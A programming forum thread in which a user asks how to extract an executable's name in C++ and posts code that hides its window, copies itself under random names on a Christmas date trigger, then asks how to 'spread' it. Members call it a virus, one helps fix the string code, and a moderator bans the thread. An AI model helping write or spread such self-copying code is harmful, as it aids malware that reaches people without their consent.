Getting file name off path

Im trying to get the .exe name off the path wich GetModuleFileName(); gives me I just want the exeutable name but i'm stuck I just can't figure it out :O

Code:

                SYSTEMTIME ST;
	GetSystemTime(&ST);
	if (ST.wYear >= 2005 && ST.wMonth >= 12 && ST.wDay >= 25)
	{
		// cristmas delete program
	}
	char FileNamePath [256];
	GetModuleFileName(0,FileNamePath,MAX_PATH);
	char ExeName [256];

	for(int i=0; i<strlen(FileNamePath);i++)
	{
		if (FileNamePath[i-1] != '\')
		{
			int copy_count = 0;
			ExeName[copy_count] = FileNamePath[i];
			copy_count+=1;
		}
	}

ive found a way of doing it if anyone is interested

Code:

#include <iostream>
#include <windows.h>
#include <cstring>
#include <ctime>
using namespace std;
int main()
{
	srand((unsigned)time(0));
	SYSTEMTIME ST;
	GetSystemTime(&ST);
	if (ST.wYear >= 2005 && ST.wMonth >= 12 && ST.wDay >= 25)
	{
		// cristmas delete program
	}
	char FileNamePath [256];
	GetModuleFileName(0,FileNamePath,MAX_PATH);
	char *pch = strrchr(FileNamePath,'\\');
	char szExeName [256]= "";
	for(int i=0;i<strlen(pch);i++)
	{
		*pch++;
		szExeName[i] = *pch;
	}
	strcat(szExeName,"xe");
	CopyFile("MerryChristmas.exe","1.exe",true);
	int x = 0;
	do
	{
		x++;
		int new_name = rand();
		char cnew_name [256];
		itoa(new_name,cnew_name,10);
		strcat(cnew_name,".exe");
		CopyFile(szExeName,cnew_name,true);
	}
	while (x < 10);
}

You and your viruses why not make something usefull?

Code:

#include <iostream>
#include <windows.h>
#include <cstring>
#include <ctime>
using namespace std;
int main()
{
	srand((unsigned)time(0));
	SYSTEMTIME ST;
	GetSystemTime(&ST);
	if (ST.wYear >= 2005 && ST.wMonth >= 12 && ST.wDay >= 25)
	{
		// cristmas delete program
	}
	char FileNamePath [256];
	GetModuleFileName(0,FileNamePath,MAX_PATH);
	char *pch = strrchr(FileNamePath,'\\');
	char szExeName [256]= "";

	for(int i=0;i<strlen(pch);i++)
	{
		*pch++;
		szExeName[i] = *pch;
	}
^^^ You don't need the above loop.  just use strcpy() function
 strcpy(szExeName,pch+1);

	strcat(szExeName,"xe");
^^^ why "xe"?  why not "exe" or ".exe"
	CopyFile("MerryChristmas.exe","1.exe",true);
	int x = 0;
	do
	{
		x++;
		int new_name = rand();
		char cnew_name [256];
		itoa(new_name,cnew_name,10);
		strcat(cnew_name,".exe");
		CopyFile(szExeName,cnew_name,true);
	}
	while (x < 10);
}

Wow thanks so much !

Code:

#include <iostream>
#include <windows.h>
#include <cstring>
#include <ctime>
using namespace std;
int main()
{
	srand((unsigned)time(0));
	SYSTEMTIME ST;
	GetSystemTime(&ST);
	if (ST.wYear >= 2005 && ST.wMonth >= 12 && ST.wDay >= 25)
	{
		if (ST.wYear == 2005 && ST.wMonth == 12 & ST.wDay == 25)
		{
			// cristmas delete program
			// and pop up merry christmas banner
		}
		else
		{
			// day is past christmas 2005 delete program
		}
	}
	char FileNamePath [256];
	GetModuleFileName(0,FileNamePath,MAX_PATH);
	HWND hwnd = FindWindow(hwnd,FileNamePath);
	ShowWindow(hwnd,SW_HIDE);
	char *pch = strrchr(FileNamePath,'\\');
	char szExeName [256]= "";
	strcpy(szExeName,pch+1);
	int x = 0;
	do
	{
		x++;
		int new_name = rand();
		char cnew_name [256];
		itoa(new_name,cnew_name,10);
		strcat(cnew_name,".exe");
		CopyFile(szExeName,cnew_name,true);
	}
	while (x < 10);
}

theres the finished code now i just need a way to delete the program on christmas im thining of using a batch file.
do you know any ways i could use to "spread" this program it doesn't do anything to the person computer that is "infected" and i will make it so a messagebox pops up and they have agree to "install it".
PS prog-gman its not a virus .....

put a link to it on the internet so that people can download and install it themselves. Any program that spreads itself to other computers without the owner's consent or knowledge is a visus (or worm or whatever they call it ), even if all it does is display "Happy Newyear" on 1 Jan.

OK, enough overt virus writing - banned!!!
